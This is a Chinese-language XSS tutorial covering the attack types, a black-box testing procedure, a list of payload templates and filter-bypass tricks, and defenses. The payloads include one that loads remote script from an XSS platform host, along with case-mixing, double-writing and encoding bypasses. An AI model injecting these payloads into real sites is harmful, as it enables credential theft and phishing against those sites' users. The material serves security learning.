1 什么是XSS
XSS(Cross Site Scripting)攻击即跨站脚本攻击。通过利用网页开发时留下的漏洞,用巧妙地方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
2 XSS原理
攻击者在页面上插入xss代码,服务端将数据存入数据库,当用户访问到存在xss漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致xss代码执行,达到攻击效果。
3 XSS分类
XSS分为三类:存储型XSS、反射型XSS、DOM型XSS
1.1 存储型
存储型XSS是持久性XSS,具有很强的稳定性。
攻击者将XSS脚本写入web应用程序的数据库,用户在使用浏览器浏览访问包含存储型XSS代码的网页时,XSS脚本就会执行,从而达到攻击的效果。
1.2 反射型
反射型XSS就是将用户输入的数据(恶意用户输入的js脚本),“反射”到浏览器执行。
通常是攻击者通过在网页上植入恶意链接,诱使用户点击,执行js脚本,从而达到攻击效果。
1.3 DOM型
DOM型XSS是通过前端JavaScript将XSS脚本写入dom节点中,从而触发XSS攻击。
4 测试方法(黑盒)
- 找到输入点和输出点,确认输入点提交信息是否在后台进行处理。
- 构造payload,通过源代码判断当前输入点的格式(部分waf会对js、文件进行混淆)。
- 观察闭合、过滤和拦截情况。通过script的各种过滤手段(如双写、大小写、实体编码等)模糊测试当前参数位的过滤情况。
- 重新构造payload。
- 如不成功,则重复第3、4步骤。
5 常用语句模板
<script>alert(1);</script> //直接嵌入script
<script src=https://xsspt.com/1.js>alert|confirm|prompt(1)</script> //从远程嵌入script
<input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串
<input onfocus=write(1) autofocus>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>aaa</a> //超链接
<a href=javascript:alert(1)>aaa</a> //html实体转义
6 绕过方法
- 大小写绕过
<sCRiPt>alert(1)</ScRipT>
- 双写绕过
<scriptscript>alert(1)</scriptscript>
- 编码绕过
javascript:alert(1) //javascript:alert(1)
- ()被过滤用``代替
- 生僻函数绕过
- 同源绕过(详情了解同源策略)
7 XSS的危害
XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。
1.1 技术上
- 窃取凭证、键盘记录、截屏、开摄像头(根据权限有几率)、获取敏感信息
- 篡改DOM(篡改页面布局及内容)
- 嵌入恶意脚本代码
- 发起恶意请求(Ajax)
1.2 社会影响上
- 无账号密码的情况下非法登录网站
- 网络钓鱼
- 网页蠕虫
- 破解CSRF的token限制
8 防御思路
1.1 白名单策略
使用白名单写死允许的标签和事件规则
1.2 黑名单策略(不可靠)
- 使用htmlspecialchars()函数,自定义预定义符号进行转义"、’、/、<、>、=,且过滤标签、时间函数名和其各种编码形式。
- 采用成熟的防御XSS的框架。
- 服务端添加http-only头下发到客户端(防止js调用cookie)、使用同源策略。
- 采用最新版本浏览器。
仅供个人学习。参考源自网络